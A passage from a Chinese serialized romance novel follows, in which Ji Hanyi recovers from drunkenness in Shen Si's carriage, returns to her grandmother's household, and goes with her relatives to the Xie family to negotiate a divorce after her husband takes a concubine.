到底还是理智占据,他可以什么都不顾,但对她来说,显然不能。
沈肆不愿逼她,她与他即便在一起,也该是光明正大站于人前,也该是她心甘情愿的。
他知晓她一向信任他,他更不想她对自己产生恐惧与害怕。
修长的手指抬了抬,沈肆从将一张手帕放到了季含漪的手上,又低沉开口:“领子湿了。”
他说完,起身坐到了她的对面。
面前压迫着的的沉暗渐渐褪去,季含漪才后知后觉的低头,领口真的湿了一块。
又看旁边放着的小碗,隐隐一股药味,似乎是醒酒汤,季含漪便一下明白了大抵发生了什么事。
她满是窘迫与羞愧的捏着沈肆递过来的帕子,帕子上是沈肆身上的冷香,她小心看他一眼,又撑着身起身小声道:“谢谢沈大人。”
他不知晓自己现在怎么会在沈肆的马车上,她只愿没有再给沈肆添麻烦才好。
帕子按在领口上,季含漪脸颊却不由发热,不知为什么,每每狼狈的时候,总是会被沈肆看见,叫她心头生出了股羞愧来。
她脑中这会儿晕乎乎的,还有些头疼,她去了凉亭后发生了什么她也早已经全想不起来了,就连这会儿,她脑中想什么好似都是迟钝的。
又在心里后知后觉的想,为什么这些日好似总是能够遇到沈肆。
她统共出谢府也不过几回,最近这几回却次次能遇见他。
想到这里,季含漪的眼眸忍不住偷偷往沈肆那头看去一眼,也不知道他会不会也觉得太巧了。
只是她一看过去,就见着沈肆目光正在看她,又指尖一紧,赶紧垂下了眼帘。
沈肆目光淡淡的与季含漪的对视,他看她眼眸依旧茫然,现在已经规规矩矩的坐着,手上紧紧捏着他递过去的帕子,湛湛泪眼里,再没刚才那般看着他。
他先开了口,声音如常冷清:“为什么去那里。”
季含漪怔了瞬,想了半晌才大抵想明白沈肆为什么这么问,她垂下头来小声道:“因为小时候父亲常带我去……”
季含漪下意识咬了下唇,又觉唇上有些疼,不由又松开。
沈肆看着季含漪这规规矩矩坐着回话的模样,像是有些怕她,稍顿了下,又问她,语气却比起刚才好了不少:“为什么会哭。”
季含漪有些沉默。
她不愿将自己遭遇的一地狼藉都说给沈肆,那些不愉快与憋闷,也仅仅只是她一个人的事情,她再不能麻烦他了。
季含漪摇头,轻轻说道:“想父亲了。”
沈肆等了半晌,等来她这一句。
对他还是没句实话。
他想,上回她说她要与谢玉恒和离,那句又是不是实话。
唇边淡淡的压了压,他微微垂目看着她。
直到见到季含漪涟涟的眸子,他长长吐出一口气,又问:“为
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什么饮酒。”
季含漪听了这话,便觉得自己做错了事,又讷讷:“就是忽然想起……”
又见沈肆静静的看着她,那严厉里好似带着谢审视,看起来很严肃,像是并不怎么信,她又开始紧张。
沈肆靠坐着,姿态依旧高贵,身量又高,一身公袍衬他面如冠玉和清贵,静静的一个垂目,便有股掌控他人的姿态压迫来。
他看着季含漪微微挑眉:“想起了就喝梅山酒这么烈的酒?”
季含漪一哑,她不是让容春买的梅子酒么……
又忽想容春不识字,八成给拿错了。
季含漪这时候混乱的脑中稍稍理出来一点思绪,她小心的看着沈肆问:“是不是我饮醉了…?”
沈肆点头,又指了指旁边小桌上的碗,又看着她:“我给你喂的醒酒茶。”
季含漪的脸庞刹那间便热了,难怪自己会在沈肆的马车上,大抵是自己醉了酒,被沈肆给撞上了。
可惜她什么也记不得了,更不知晓自己醉酒后有没有在沈肆面前失礼。
想自己在沈肆的心里,早不是端庄的淑女,他又是那样规矩严谨的人。
他见了自己醉酒的模样,他又会怎样看自己,定然会觉得她不庄重的吧。
她羞愧的低下头去,甚至不敢多问沈肆一句自己醉酒后都做了什么,她恨不得这会儿赶紧离开。
她站起来想匆忙的告退,只觉自己怕是再无面目在沈肆跟前了。
只是才站起来,面前就伸来一只手,那手上正放着一碗浮圆子。
沈肆看了眼季含漪:“你饮了酒,吃一些会更好。”
季含漪哑然,她指尖颤了颤,慌慌忙忙说了声谢谢,又别无选择的接了过来,在兵荒马乱与慌张里,重新坐在了沈肆的对面。
碗里的浮圆子还是热的,季含漪也不知道沈肆是从哪里端来的,只是滚滚热气冒出来,马车内一时都是浮圆子甜腻的香味。
季含漪吃了几口,又忍不住偷看沈肆,想沈肆这样的天之骄子,一言一行,一举一动都严苛规整的人,难道也喜欢吃浮圆子么。
还是他特意给她准备的,
她想起从前在沈府听说沈肆的一日三餐,他吃的极讲究,对吃食要求极高,极难伺候的人。
她又忽然想起一件事:“我丫头呢?”
容春也跟着她饮了那酒的。
沈肆言简意赅的开口:“在外头,已经醒了。”
季含漪松了一口气。
只是浮圆子还未吃完,季含漪便有些着急想走。
外祖母还等着她,不能再晚了。
沈肆看了看季含漪脸庞,半晌后还是放她离开。
季含漪离开后,马车内顿时又变得寂静一片。
沈肆独坐在马车中,听着帘子外季含漪与容春说话的声音,又听着帘子也渐渐安静下来,这才掀开了旁边的帘子一角,看着季含漪离去的背影。
他看着那背影越走越远,直到上了一辆马车,他才缓缓将手上的帘子放了下去,体内的燥热阴却并没有因为她的离开消减半分,又低头看向掌心处季含漪落下的一只绿色耳坠。
面前小案上还放着季含漪未吃完的浮圆子,沈肆端了过来,用她吃过的勺子吃了一口,甜腻在唇齿间散开,有些腻人,他从前从不喜吃这些,却又再吃了一个。
第76章 背信弃义的是他们谢家
季含漪坐马车回去的时候,已经是夜里戌正了。
时辰有些晚了。
领口的湿润润进皮肤有些难受,季含漪下意识用帕子擦了擦,陌生的冷沉香让她忽意识到,自己竟将沈肆的帕子带走了。
她怔怔看了眼帕子,又忙收到袖口里。
容春却一直看着季含漪唇上那浅浅的印子,像是破了又不像是,总觉得少夫人的唇好似比以往红一些,欲言又止了好一会儿还是没有说,想着可能是自己看错了。
又见少夫人耳坠好似少了一只,这才开口。
季含漪摸了摸,真只有一只耳坠了,想应该是刚才怎么落下的,再找估计也找不到了。
她没怎么在意,虽说有点可惜。
季含漪从马车上下来的时候,却见着顾晏站在大门外等着她,见着她的马车停下,就忙往这头来了。
这时候外头还在下着雪,纷纷扬扬,该是今年最后一场这么大的雪的。
顾晏宝蓝袍衣上的肩膀上覆了薄薄的一层白雪,也不知道他在外头站了多久。
季含漪忙提着裙摆踩在脚蹬下马车,见了顾晏便道:“表哥为何等在这里?”
顾晏手上撑开伞,伞面挡在季含漪的头上,他低头在摇曳的昏昏光线下看着季含漪,只见着她莹莹雪肤上的一双晕红的眼睛,他不由靠近她一步,犹豫的看着季含漪低低道:“我听祖母说漪表妹要与谢玉恒和离了。”
顾晏说完这话,眼神紧紧看在季含漪脸上,藏在身后的手掌捏在一起,掌心早已全都是汗。
季含漪今日是给外祖母来信的,信上她写了今日在谢家的来龙去脉,顾晏知晓也并不奇怪,季含漪也没想瞒着,
她抬头看着顾晏看来的眼神,嗯了一声点头:“我打算与谢家撇清关系了。”
又轻轻道:“晏表哥,我大抵要回顾府住几日。”
顾晏的眼眸一顿,心跳快起来,又忙道:“漪表妹想住多久都可以的。”
又道:“今日祖母与我说,让我明日陪着表妹一同往谢家去,顺便帮你带回在谢家的东西。”
季含漪愧疚的看着顾晏:“麻烦表哥了。”
顾晏紧紧看着季含漪的眼睛,见着她那双水盈盈的美眸正看着自己,他这一刻甚至不敢对上季含漪的眼睛,忙道:“不麻烦的。”
“今日我本打算去接表妹从谢家回来的,但是我去谢家,谢家门房的说表妹下午就出来了,我便在门口等着。”
说完他又飞快看了季含漪一眼,只觉得脸颊开始发烫,又低低道:“不过也没等多久。”
“这会儿祖母还在等着表妹的,表妹与我先一起进去吧。”
季含漪这会儿其实有些疲惫,头也有些晕,站在外头也的确不是说话的地方,便点点头,这才拢着斗篷跟着顾晏一起从大门进去。
顾老太太的院子里灯火通明,顾家的人都坐在暖房里,显然都在等着季含漪。
这会儿见着季含漪进来,不由都将目光放在她身上。
大夫人看了季含漪一眼,脸上依旧是不冷不热的神情,又见着自己儿子紧紧站在季含漪的身边,眉头又是微微一皱,严肃的目光看在顾晏身上。
顾晏看到母亲不悦的看他,稍顿了下站去了一边,视线的余光却停留在季含漪身上。
季含漪往前走了几步,将斗篷和手炉递给容春,再规规矩矩的给外祖母,大舅母和二舅母问安,又给表嫂和表妹问好。
屋子里的人稍显得热情的就是二舅母刘氏了。
她是最先开口的:“含漪从谢家和离回来也好,那谢家又有什么了不得的?违背当初的约定纳妾,还纳害了含漪的人。”
“谁能做出这样的事情?又不是个泥人儿,就偏得留在那儿受这个气?”
张氏看了一眼刘氏,又神情冷淡的淡淡笑了声:“受气?谢家这样的门第,就算是受气也是富贵的日子。”
“再说了,还没和离呢,就这么回来了,算是什么事?”
“含漪虽说不是姓顾,但也是回顾家来,京城里有几个和离的姑娘?也不怕影响了府里头还未出嫁的姑娘们。”
季含漪垂眸,想说在顾家不会呆太久的,却又被外祖母叫了名字,叫她去跟前。
季含漪一走到了外祖母的身边,手就被外祖母握住。
顾老太太看了眼张氏开口:“和离的姑娘怎么了?和离的姑娘犯了什么大罪了不成?”
“背信弃义的是他们谢家,不是含漪的错。”
“当年谢家大老爷写下诺言,承诺往后含漪嫁进去,无论什么情况都不会纳妾,那上头白纸黑字,还印了手印的。"
"如今这才成婚多久?才三年谢家就违背诺言,我家含漪不受这个气!就算回来那也是有理由的,不是无理取闹!”
顾老太太的声音有力,字字清晰,张氏的脸色微微变了变,却还是没敢在老太太面前多说什么。
刘氏是最能明白季含漪在谢家的憋屈的,自己儿子的事情,左不过他们开口说句话,谢家都能袖手旁观,不帮倒罢了,还被讽刺侮辱,那股憋屈她现在都记得。
顾老太太又发话:“我们顾家如今是没落,但顾家也不是没人。”
说着她看着张氏:“你明日带着晏哥儿一起去,我这个老婆子也去,总之要为漪丫头撑腰的。”
张氏脸色一僵,推辞道:“府里上上下下还有这么多事情,儿媳哪里有空闲?”
顾老太太冷眼看着张氏:“所有事都堆到明儿早了?”
“我瞧含漪过年让人给你送来的燕窝你倒是喜欢,明日就空闲不出来?”
张氏不愿趟这浑水,况且季含漪回来,吃住不是又在府上开支?那送来的那点燕窝又算什么?
旁边的刘氏这时候开口了:"既大嫂没空,我去就是,我正好替含漪出口气。"
张氏看了刘氏一眼,见着她对这事倒是上心,自己凑着非要去得罪谢家,好言劝不住也是蠢,便说了句:“弟妹不掌家,倒是合适。”
顾老太太就看向刘氏,脸上的神情总算缓和了些,点点头:“你去也好。”
事情这么定下,老太太留下了季含漪说话。
季含漪坐在老太太身边,一身月白的妆花缎,胸口处绣着丁香,在朦胧纱灯下染上一层秀美的柔软,她小声问:“外祖母与母亲说了我的事情么?”
顾老太太拍拍季含漪的手:“这事先不与你母亲说,等明日与谢家彻底断干净了再说也不迟。”
季含漪垂头,听话的点头。
顾老太太又道:“我为你单独收拾出了个院子,是婉意出嫁前住的地方,她嫁的远,几年没回来过了,空着也是空着。”
季含漪面露出愧疚:“我父亲从前在老家给二叔名下置办了一处院子,我已经给二叔送了信去,二叔也回了信,说院子收拾好了。”
说着季含漪一顿,看向顾老太太,眼里又热了一下:“我和离的事情处理好了,我便带着母亲往
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金陵下面的蔚县长住了。”
“那里气候宜人,母亲的病或许也能好的快些。”
季含漪父亲的老家便是在蔚县,因着季含漪二叔不愿上京城来,她父亲就早年在那儿以二叔的名义置办了两座挨着的宅院,想着致仕之后回去与弟弟比邻而居。
也是幸好,那座宅院保了下来,她还能有一处退路。
说着季含漪眼又一垂,再细声道:“我不过小住几日,外祖母也不用单独给我准备院子,我与母亲住在一处就是。”
刚才小厅里那大舅母那些话,季含漪虽没说话,也是看得清楚的,自己的确给顾家添了麻烦,也毕竟和离过,顾家还有待家的姑娘,她与母亲长留在这里,即便有外祖母在,她自己心里头都过意不去。
顾老太太听着季含漪的这番话,烛灯如豆,面前季含漪一身锦绣,贞静柔美,却叫她看得悲凉。
从前季含漪父亲还在的时候,身居高位,又生的俊美,受人追捧,甚至连太后都夸赞。
那时候的季家是风光的。
季璟出身微寒,但满腹才学,他功成身就,便有无数寒门追随他身后,那时候也是春风得意的,自己的两个儿子也是尽力讨好着季含漪父亲。
顾老太太当然知道自己两个儿子几斤几两,能够进官全是靠着季璟,就连顾晏和顾洵当年能够进国子监,那也都是靠着季璟运作的。
国子监也不是那么好进的,顾晏和顾浔虽说是官生,但不是功臣,外戚,和土司子弟,哪儿那么容易。
那时候自己的两个儿媳对季含漪如自己亲生的那般,每回季含漪一来,便忙前忙后的格外热络。
可现如今,季璟出了事,自己的女儿回了家中,两个儿子被贬,其中一个还死在路上,家中开支一年比一年艰难,两个儿媳的心,也早变了。
她什么不明白呢,她什么都明白。
人心易变,人为利往,她不能苛刻的说自己的两个儿媳做的叫人看着寒心。
顾家如今唯一还有些出息的只有顾晏了,从国子监出来做了国子监五经博士,但那点俸禄,哪里够撑这一大家人。
自己大儿子还在烟瘴地,因着京城贬去的身份,又不懂人情世故,在那饱受排挤,还要靠着家中送银钱过去过活。
顾家那点祖产,也早在当初为两个儿子打点走关系里花用的差不多了。
两个孙子将来还要娶妻,姑娘还要出嫁准备嫁妆。
现在的顾家就是个空壳子,什么都没有。
她明白季含漪也都明白这些,所以每每年节,即便自己在谢家过得不如意,也总送东西回来。
她全都明白,更是懂事。
便是这份懂事叫顾老太太觉得伤心的不行。
她是老太太,有心想要偏袒季含漪,两个儿媳却是不懂她的。
她伸手将季含漪揽入怀中,轻轻拍着季含漪的后背苍老道:“漪丫头,你什么都不必想,什么都不必担心。”
“外祖母偏心你呢,就好好在府里住着,你一个姑娘独身去那里,将来出事了怎么办?”
“你放心,外祖母给你准备了条最安稳的路,你什么都不用担心,将来也顺顺遂遂的。”
季含漪一怔,红着眼抬头看向顾老太太:“什么安稳的路?”
顾老太太低头,慈爱的含笑轻抚季含漪柔软的发丝:“等将来你便明白了。”
“外祖母这个年纪,什么都不图了,就图所有人都安安稳稳的。”
第77章 上谢家和离
到了第二日一早的时候,起来得最早,最先往老太太这儿来的居然是顾二夫人刘氏。
刘氏早早就收拾好了,见着季含漪扶着顾老太太出来,先问了安,又过来季含漪身边看她身上的穿戴,摇头道:“穿这么素净做什么?既是去和离的,便高高兴兴的去。”
说着刘氏从发上取了一只金发簪,将季含漪发上的那只稍显素净白羽扇簪子给换了下来。
她又左左右右的看季含漪身上的竖领大襟衣裳,丁香色的绸缎,领口是金色盘口,衣上是折枝纹和铜币纹,底下是牙白色的澜裙,粉色的花边,瞧着好看是好看的,就是脖子上没戴首饰,再颜色素净,总显得气势不够。
她推着季含漪往她昨晚睡的稍间去:“赶紧再去收拾收拾,涂点胭脂和粉,可别瞧着憔悴了。”
“和离是咱们提出来的,不是他们。”
季含漪被刘氏推着,本想着低调的将事情办完,这回没法子,又叫容春给她戴上珊瑚璎珞,唇上点了点胭脂。
顾晏进来见到季含漪的时候,正见着季含漪侧身坐在祖母身边,手上端着茶盏送过去,又低低与二婶说去谢家的事情。
那乌黑的发上一只金簪子闪闪发亮,端庄秀美的身形上是素净雪肤,耳畔翡翠玉石坠子快落到了肩膀,摇曳生姿里,那唇边的一抹嫣红看得顾晏口干舌燥。
此刻外头还是黑的,冷冷的风声还在外头吹,屋内光线明显,照在季含漪身上那淡色衣裳上,便光华流转熠熠生辉。
顾晏站在原地,眼睛几乎都要看直了,半晌没有回过神来。
顾老太太看了顾晏一眼,笑着问道:“准备好了?”
顾晏如梦初醒,刚在在祖母面前失了态,他又脸颊发热,忙别开眼睛急忙点头。
又道:“马车也准备好了,烧了炭盆的。”
说着他飞快看了季含漪一眼,又道:“现在正烧着,待会儿坐在马车里就不冷了。”
顾老太太含笑:“你一向做事都稳妥的,正好漪丫头自小怕冷。”
季含漪这才发觉顾晏进来了,起身走到他面前对他福了个礼,小声道:“今日劳烦晏表哥了。”
顾晏忙摇头:“漪妹妹,我……我也想去的……”
“谢家对漪妹妹不好,我也想漪妹妹……”
他又见着季含漪抬眼看来,这才惊觉自己应该是说错了话,脸庞涨红起来,又赶紧改口:“我不是说想漪妹妹和离,我只是想帮漪妹妹。”
季含漪含笑看着顾晏,不明白小时候爬树调皮的表哥,怎么长大了却好似含蓄许多。
她带着笑意道:“我没怪表哥,谢谢表哥帮我。”
这声柔软的谢谢,叫顾晏的心又狂跳起来,手足无措。
好在这时候祖母说先去厅里用膳,季含漪从他面前走过往祖母身边去,他才按着胸口,长长吐出一口气。
又回头看向季含漪的背影,他昨夜一夜未睡,总觉得表妹要和离的事情是一场梦境,他半夜醒来都觉得像是泡影。
用了早膳,天色已亮,临走前,顾老太太与刘氏和顾晏细细叮嘱,去了千万不能冲动,万事以和为贵,也不是非得要争那一口气,和和气气的和离了,那才是最好的。
毕竟谢家在京城是有些人脉的,能不得罪也不得罪。
说罢,顾老太太又特意叮嘱了刘氏几句。
她刚开始想让大儿媳去,是因为大儿媳沉得住气,心里的心思多,考虑的周全,不像二儿媳有些冲动。
但她明白大儿媳的心思,也不强求。
这边刘氏连连点头。
她今日想去谢家,也不全是为了季含漪,上回在谢家受了气,自己为了儿子去求,反而被讥讽。
如今他们谢家冷眼旁观,她儿子还不是安安稳稳的被放出来了?
马车到了谢府门口时候,前门的门童见着季含漪从马车上下来,赶紧过来迎季含漪,又小声道:“大少奶奶总算回来了,大夫人让我们在前门侯着,说您一回就让您去见大夫人。”
季含漪点点头,本来也就是打算直接去见林氏的。
进了谢府,季含漪让顾晏先在外院等着,她与刘氏还有老太太一起进去。
季含漪又低低对容春吩咐,让她去请谢老太太也往林氏那儿去,谢老太太至少还是讲理的,她亦是不想闹得太过于难看了。
到了林氏那儿,林氏见着季含漪扶着顾家老太太和刘氏进来,脸色就是微微一变,不由坐直了身,脸上扯了个不咸不淡的笑来:“顾家老太太和二夫人也来了?”。
说罢,她微冷的眼神看向季含漪:“这又是做什么?”
“昨晚玉恒出了这么大的事,你不在他跟前照顾也罢了,不过是纳了个妾室,你还从外祖家带人来撑腰了?”
坐在林氏身边的谢锦,目光也看向季含漪。
谢锦是今天一大早收到母亲的信来的,一是看自己弟弟,二也是叫季含漪识趣,别纳个妾就闹。
别家的男子在她弟弟这个年纪,早纳妾了,季含漪别不知好歹。
且她这会儿看季含漪还带了这么些人来,脸上就是嘲讽的笑。
顾家如今算什么?
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>就算将顾家老太太带来了,也还不就是那样。
她眼带轻蔑,又微微别过了头去。
站在一边的刘氏一见林氏和谢锦的这副模样就气,那眼神如同上回看她的眼神一样,根本没瞧得上顾家人。
但她也不想生事,上前一步先替季含漪开了口:“谢大夫人想是误会,今日的确不为这个来。”
“谢大爷如今纳了妾室,是喜事一桩,我们今日来也是想成全谢大爷一桩好事。”
林氏看了眼刘氏不说话,等着刘氏几许说下去。
刘氏将季含漪给她的字据拿出来:“当初谢大老爷去季家提亲的时候,曾经亲手写下过这个字据,这上头写着,定下这门亲,将来谢大爷就不能纳妾,除非妻子过世,不然不能违背。”
“如今既然谢家违背当初的诺言纳了妾室,我家含漪也大度愿意成全。”
“但谢家既然违背誓言,那这桩婚事便不作数了,今日便作和离,往后两家再无干系。”
林氏听完刘氏的翻话,险些以为自己听错了。
她紧紧看向季含漪,不可思议的震惊道:“你疯了不成,你敢与玉恒和离?”
季含漪面容平静,安静的抬眸:“我与大爷缘分已尽,如今大爷已纳心上人,我只愿与大爷好聚好散。”
谢老太太牵着季含漪往前,让身边婆子将和离书送到林氏面前:“谢家做的背信弃义的事情,我们也不愿追究,今日来也如漪丫头说的,求个好聚好散。”
“和离书已经写好,只要谢家答应,他们便算和离了。”
林氏一看到那和离书,气恼的快晕了过去,又咬牙切齿道:“谁家儿媳三年都生不出来?”
“我家玉恒纳妾也是情有可原,这事放到哪里去说,谢家也是占理的。”
“和离可以,那也是我们谢家不要这儿媳,不是你们提的。”
刘氏往前走了两步:“谢家大夫人这教养我看也不怎么样,更是连话也听不明白。”
“你要不要瞧瞧那字据上写了什么?那上头可写清了,就算含漪生不出来,她谢玉恒也不能纳妾。”
“你当当初我妹夫为什么要答应这门亲事?那时候还不是你们死皮赖脸的求来的?”
林氏被刘氏的话气得不行,指着刘氏半晌说不出话。
谢锦一边替母亲拍着后背,一边又冷眼瞪着季含漪:“离就离,别有些人离了到时候又后悔,上来谢家寻死觅活的。”
说着她又冷哼一声:“不就是想用这样的招数让我弟弟不纳妾么,我看你趁早歇了这样的心思。”
第78章 商议和离
季含漪不愿与林氏和谢锦说话,他们一向不讲道理,也不能心平气和的说。
好在这时候谢老太太被下人扶着过来,见了屋内场景,又见林氏脸上趾高气扬的神色,微微叹了口气。
顾家如今是不怎么样,但林氏脸上全将那瞧不上眼的神色摆在脸上,又有几个人看了心里能舒坦?
便是能好好说的一桩事,可能也要酿成大后果来。
她越发觉得自己这个儿媳上不得台面,不堪大用,也就管家理财上有些能力。
谢老太太又深吸一口气,客客气气的过去扶着顾老太太往东暖屋去坐,又温和道:“还从未见过顾老夫人,今日见了也是一见如故。”
“两个孩子的事是要好好讲讲的,去里屋坐着慢慢讲,一家人的事情,也没那些见外的。”
顾老太太刚才听了林氏和谢锦的话,脸上神情本不大好,也彻底明白了季含漪嫁来谢家,要伺候这么个不讲理的婆婆,日子过得有多难。
但她本来就是来好聚好散的,这会儿见了谢老太太这般客气,想着谢家总算还有个讲道理的,脸上神情也缓下来,亦是客气叹息道:“也好,慢慢说就是,我们今日也不是来闹什么,只为我家漪丫头拿个结果罢了。”
谢老太太点头:“也是这个理,这两个孩子,总要落下个结果来的,也是我家恒哥二对不住她。”
顾老太太一听这话,心里总算是好受了些。
顾老太太和谢老太太走在最前,季含漪和刘氏也在后面跟着一起走进去。
这时候谢锦忽然走到季含漪的身边,讽刺的看着季含漪:“你闹这么大事,闹得难看了,你以为你能达到目的?”
“如今明柔是我弟弟的妾室,你赶不走的,你再这样做,当心夫妻情分都被你作没了。”
季含漪垂眉不曾看一眼身边的谢锦,只点点头:“所以我也不打算要这夫妻情分了。”
气得谢锦一凝。
---
东暖屋内,谢老太太和顾老太太一起坐在窗前,林氏一脸不悦的坐在旁边,谢锦紧紧挨着母亲。
季含漪和刘氏就坐在另一边的下首。
屋内只有谢老太太与顾老太太的说话声,这时候倒是没有谁插话。
谢老太太的声音很诚挚,说来说去是不愿季含漪与谢玉恒和离的,林氏在旁听着好几次想插话又不敢,只能拿眼睛去瞪季含漪。
在她看来,和离便和离了,和离后难的又不是自己儿子,自己儿子难道还找不到贵女成亲不成?
三年都生不出来,这样的儿媳还留着干什么了,她早就想要休了。
顾老太太倒是对谢老太太印象极好,她本也是和气的人,便也和气道:“两个孩子和离,谁也没什么大过错。”
“我家漪丫头自小就是懂事的孩子,小时候虽被娇惯了些,但知理明事,也不是心胸狭隘喜欢计较的。”
“只是他们两人到底日子过得好不好,想您也知道些,上回那么大的雪,玉恒将漪丫头一个人留在雪里,我家漪丫头也不曾半分说他不好的,真要说为何到了这个地步,便当作是他们两个人缘分不够吧。”
谢老太太听了这话叹息,如何听不出来顾家是当真要和离,却还是挽留着:“上回那事是恒哥儿的不对,我也教训过他了,我更知晓含漪是个好孩子,我们做长辈的,哪里能拆散好好的一对姻缘呢。”
顾老太太看说了这么多,谢老太太还在劝,不由道:“这事再别劝了,到了这个地步,说那些恩怨也没必要,和离的事情今日便定下吧。”
“我家晏哥儿还在外头等着将含漪的东西带回去。”
谢老太太看顾老太太的神情坚决,不由看向季含漪:“含漪,当真还是要与恒哥儿和离?”
季含漪很认真的点点头:“老太太,我想清楚了,我与大爷并不适合了。”
话已经说到这个份儿上,说了小半上午也没能劝住,谢老太太已经知道,这段孽缘到底是要结束了。
可惜她孙子今早站都站不起来,却要吵着要去顾家将季含漪接回来,早些时候不珍惜,如今人家执意要走,她这做祖母的难道能强留住人么?
今日连顾老太太都来了,显然顾家也通了气,下了决心。
再有刚才顾老太太那话里的意思也很明显,是谢家违反了约定,顾家只是要和离,也不要任何补偿,已经算是讲理了。
谢老太太也不是非要强人所难,即便强行留下,两人也不见得会过得好,只能答应下来。
季含漪看谢老太太答应,也松了口气,正打算起身去收拾东西时,就听到帘子外头杂乱的脚步声,紧接着就看到两个随从扶着走路都走不稳的谢玉恒走了进来。
林氏一见谢玉恒进来,忙让人快去搬把软椅来,又呵斥着谢玉恒身边的随从,怎么将谢玉恒引来了这儿。
可无论林氏怎么劝,谢玉恒都死死站着,布满血丝的眼睛紧紧看着侧身坐着的季含漪。
他见她今日打扮的好似比从前更艳丽一些,她本就生的极美,坐在那里,垂着眸子,连耳坠都安安静静的,却一眼也没看他。
从前目光总是跟随在他身上的人,再也不看他了。
他心里头涌起刀割般的疼,又提高了声音:“我不答应和离,谁答应都不行。”
谢玉恒的这一道声音不小,屋内的人都看在了谢玉恒的身上。
季含漪也微微侧头,看着谢玉恒。
谢玉恒身上已经换上了一身蓝袍,即便是身上伤重,也依旧带着雅人深致的修养与清冷。
曾经季含漪以为,他这般冷清的人,至少他品性好,他是君子,即便他一生都对她这般冷清,她也并没有觉得委屈。
但如今,季含漪看明白了,他如今连品性都叫她瞧不起了。
谢玉恒看季含漪这般绝情,推开身边扶着他的随从,努力撑着身子往季含漪
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面前挪了一步,他眼眶泛红,声音颤抖:“你非要这么绝情?”
“你的心是什么做的?”
季含漪抿唇,又抬头:“那大爷的心是什么做的?”
“在大爷心里,任何考量都不用顾及我,我还得高兴的接受,并满意这个结果是不是?”
谢玉恒的声音不由急促,声音里满是对季含漪不理解他的怨怪:“我不是说过明柔无依无靠,她只有我了,她一个女子离了谢家,她怎么活?”
“为什么你总是不饶过她?”
“为什么你总是计较她?”
季含漪闭了闭眼,波澜不惊的心里还是被谢玉恒的这些话激起一丝荒芜,她淡声开口:“她在宴会对我下毒,要毁了我的名声,是想让我声名狼藉,被所有人抛弃。”
“我不管做什么事,都是对得起自己的,我也从未计较她。”
“早在下毒之前我就已经与大爷提了和离,是大爷不信,现在却又依旧怪我,在你心里,是不是我什么都要顺从你的话,才算是你们口中的识大体。”
谢玉恒踉跄一下,却咬着牙道:“明柔已经受到了惩治,还要怎么办?”
季含漪淡淡抬眸:“要是换成下毒的人是我呢,我会被赶出谢家,会被你们人人咒骂唾弃,没有人会为我求情的。”
谢玉恒一怔,脸色惨白,着急的解释:“不会的……”
季含漪没看谢玉恒:“大爷,你自己知晓的,我心里也知晓,你骗不了自己。”
“但我如今并不在乎,我只在乎我们两人今日能够和离。”
谢玉恒眼眶猛的一红:“我不会答应的……”
林氏忙过来扶着谢玉恒,满脸心疼道:“这样人你还和她过什么?和离便和离,是我们谢家不要她的,没有了她,比她好的女子多的是。”
顾老太太听了这话,皱眉看着林氏:“谢大夫人说话也该思量些,别在这儿胡说。”
林氏抬头看向顾老太太,憋了许久的话一股脑儿说出来:“我早想休了她了,如今她提出来也正好,我们谢家要不起这三年都生不出来的人。”
“再说,谢家什么门第,顾家什么门第?现在也早没什么季家了,我们当初肯娶她,你们就烧高香就是,竟还有脸提什么当年的约定。”
谢老太太忽然一脸怒色的看着林氏:“闭嘴!”
林氏被谢老太太这么一呵斥,猛的愣了下,又见谢老太太满脸怒色,心里跳了跳,再不敢开口了。
顾老太太本来是还想着好聚好散,大家都留点颜面,现在林氏居然敢说这些话,当下她也不打算留什么情面了。
她冷笑一声,看着林氏:“今日我算是见识到了谢家大夫人什么叫做厚颜无耻。”
“怎么,求的时候好话说尽,现在季家出事又这个嘴脸?”
“我不怕说个难听的,当初要不是含漪的父亲,你现在还不知道在哪儿呢,现在你倒是耍的好威风。”
第79章 逼着和离
老太太的话落下,林氏脸色一下难看起来,捏紧了手。
顾老太太冷眼看着林氏又道:“我亦不多话,今日我便让含漪带着东西走,你们要不答应,我便将你们谢家如今如何背信弃义纳妾的事情往外头宣扬干净。”
“再有,她谢玉恒在她祖母寿宴上与表妹苟且,这事我也宣扬个干净。”
“我本想着和气,可你们难听话说尽,好似含漪嫁进谢家是她什么天大的福气。”
“我便来问问,她来谢家享受了什么荣华富贵。”
说着顾老太太冷冷看着谢玉恒:“她嫁来谢家三年,你又对她有多好?”
“又怎么照顾过她?”
顾老太太虽说出身南方,并不在京城长大,父亲也仅仅是布政司经历,但也是大家闺秀,虽性情温和,但真发起脾气来,也是能震慑住人的。
顾老太太这话一说完,暖屋内瞬间安静了下来。
谢老太太冷冷的瞪了林氏一眼。
虽说这事不见得有转机,但林氏这么一闹,真就撕破脸了。
顾老太太那边的确是占着理,谢家也的确违背了约定,这事她很清楚,当初也是他让自己儿子写下的字据。
她当初一是想着报恩,想着往后好好对季家女儿,二来也是那时候季璟得首辅提拔,在官场上步步高升,她看得出来季璟往后定然是有大前途,身后有老首辅托举,谢家与季家定亲,也是早早定下这门好亲事。
可是谁成想如今会变成这样。
她深吸口气,对着顾老太太道:“这次的事情是恒哥儿对不住含漪,为了个妾闹成如此也的确不好看,我今日便做主,将那妾室赶出去,往后生死与谢家没干系。”
“俗话说,宁拆十座庙,不毁一桩婚,这事我们依旧还有商量的余地的。”
顾老太太本来就没想答应,纳不纳的事情都已经发生了,真赶走了,不是她家漪丫头成了恶人?只是没成想她还没说话,谢玉恒却先开了口,急促的朝着谢老太太道:"祖母,我不能对不住明柔。"
谢老太太静静看着谢玉恒,满眼失望的看着他:“你有什么对不住她的?”
“这样伤风败俗,心思恶毒的人,你居然还为她求情。”
“我看你真真的疯了疯了,你知道现在是什么场合?”
“我最后问你一句,你到底在意谁?”
谢玉恒颓丧的佝偻着后背,满脸都是痛苦之色。
他这些日早就认清了自己的心,他在意季含漪,他心里喜欢的也是她。
只是明柔历来柔弱,身子又给了他,被赶出了谢府,无疑是死路,他也做不到放任不管她。
他留下明柔,也不过是想给她一个容身之所。
他此刻心里更痛苦的是,季含漪不明白他,现在还要咄咄逼人的逼他。
谢玉恒侧头看向季含漪,声音微抖:“含漪,你就非要这么逼我么。”
“你就非容不下明柔么。”
季含漪蹙眉,寻常柔顺安静的人,脸上少有的会露出冷淡的神色,声音亦是一样的冷淡:“大爷,你始终都这样不讲道理么?”
这冷淡带着淡淡不耐烦的语气,让谢玉恒的身形一垮,本就伤重的身体再也撑不住,一下子倒在了地上,屋内的下人又连忙七手八脚的去扶。
因着谢玉恒的这一摔,一屋子又乱了起来。
